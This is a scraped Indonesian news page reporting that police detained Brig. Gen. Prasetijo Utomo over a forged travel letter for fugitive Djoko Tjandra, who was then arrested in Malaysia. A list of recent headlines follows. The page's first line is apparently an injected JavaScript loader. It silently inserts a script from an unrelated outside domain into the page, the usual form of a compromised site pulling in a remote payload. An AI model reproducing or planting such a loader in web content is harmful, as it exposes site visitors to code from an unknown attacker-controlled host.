(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Gegara Surat Palsu Djoko Tjandra, Brigjen Prasetijo Terancam 6 Tahun Bui


KANALKALIMANTAN.COM, JAKARTA – Bareskrim Polri menahan Brigjen Pol Prasetijo Utomo terkait kasus penerbitan surat jalan palsu untuk Djoko Soegiarto Tjandra atau Djoko Tjandra.

Penahanan ini dilakukan selang empat hari setelah penyidik menetapkan Prasetijo sebagai tersangka.

“Iya (ditahan) per Jumat, 31 Juli 2020,” kata Kepala Biro Penerangan Masyarakat Divhumas Polri Brigjen Pol Awi Setiyono di Jakarta, Jumat (31/7/2020).

Eks Karo Korwas PPNS Polri itu dijerat dengan Pasal 263 ayat (1) dan (2) KUHP juncto Pasal 55 ayat (1) ke-1e KUHP, Pasal 426 ayat (1) KUHP dan/atau Pasal 221 ayat (1) ke-2 KUHP.

Prasetijo terancam hukuman enam tahun penjara karena dianggap bertanggung jawab dalam penerbitan surat untuk Djoko Tjandra. Akibat perbuatannya, ia pun telah dimutasikan sebagai Perwira Tinggi Pelayanan Markas Mabes Polri.

Selain Prasetijo, Bareskrim Polri juga telah menetapkan Anita Dewi Anggraeni Kolopaking sebagai tersangka kasus surat jalan palsu.

Anita merupakan salah satu kuasa hukum Djoko Tjandra.

Anita Kolopaking disangkakan dengan Pasal 263 ayat (2) KUHP dan Pasal 223 KUHP dengan ancaman hukuman 6 tahun kurungan.

Tim Khusus Bareskrim juga mengajukan surat pencegahan ke luar negeri terhadap Anita ke Kepala Kantor Imigrasi Kelas 1 Khusus Bandara Soekarno-Hatta pada 22 Juli 2020.

Kemudian pada Kamis (30/7), Tim Khusus Bareskrim menangkap Djoko Tjandra di Kuala Lumpur, Malaysia.

Kabareskrim Polri Komjen Pol Listyo Sigit Prabowo mengatakan bahwa keberhasilan upaya Polri dalam menangkap Djoko Tjandra merupakan bukti keseriusan Polri dalam menangani kasus itu.

“Ini tentunya menjawab keraguan publik selama ini apa Polri bisa menangkap yang bersangkutan,” kata Komjen Sigit.

Polri bekerja sama dengan Polisi Diraja Malaysia untuk menangkap Djoko. (suara.com)

Reporter: suara.com
Editor: kk


Al Ghifari

Recent Posts

Dukungan Wabup HSU ke Komunitas Balogo di Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan memberikan dukungan untuk… Read More

20 menit ago

Animo Pemudik EV Diprediksi Meningkat saat Idulfitri, PLN Siapkan 1.000 SPKLU di Jalur Trans Jawa-Sumatra

KANALKALIMANTAN.COM, JAKARTA – PT PLN (Persero) memastikan kelancaran perjalanan pemudik kendaraan listrik atau Electric Vehicle… Read More

25 menit ago

Srikandi dan YBM PLN Sosialisasi Bahaya Listrik, Bagi Bantuan ke Warga Kelurahan Saigon

KANALKALIMANTAN. COM, PONTIANAK – Menyambut bulan suci Ramadan sekaligus meningkatkan kesadaran masyarakat akan keselamatan ketenagalistrikan,… Read More

1 jam ago

Berbuka Puasa dengan Masyarakat ke Beruntung Baru, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan jajaran saat melakukan Safari Ramadan di… Read More

2 jam ago

Sejarah Supersemar: Akhir Soekarno, Awal Soeharto Berkuasa Lewat Militer

KANALKALIMANTAN.COM - Surat Perintah Sebelas Maret (Supersemar) merujuk pada peristiwa politik yang terjadi pada tanggal… Read More

14 jam ago

Pemerintah Pusat Belum Alokasikan Tambahan Dana PSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Ketua Komisi II DPR Dede Yusuf, mengungkapkan saat ini pemerintah belum… Read More

14 jam ago

This website uses cookies.